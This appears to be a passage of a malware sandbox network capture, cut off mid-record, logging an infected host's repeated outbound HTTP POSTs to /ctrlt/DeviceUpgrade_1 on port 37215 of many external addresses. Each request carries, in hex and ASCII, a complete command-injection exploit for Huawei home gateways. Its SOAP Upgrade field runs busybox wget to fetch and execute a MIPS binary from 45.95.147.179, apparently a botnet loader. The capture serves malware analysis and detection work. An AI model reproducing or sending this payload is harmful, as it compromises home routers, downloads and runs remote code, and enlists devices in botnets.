3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.20	53046	107.190.230.35	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:46.332125902 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:47.188477039 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:48.224565029 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:50.292540073 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 03:59:54.428472042 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:02.700589895 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:19.244785070 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:52.396576881 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.20	42072	197.246.47.2	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 03:59:46.451427937 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 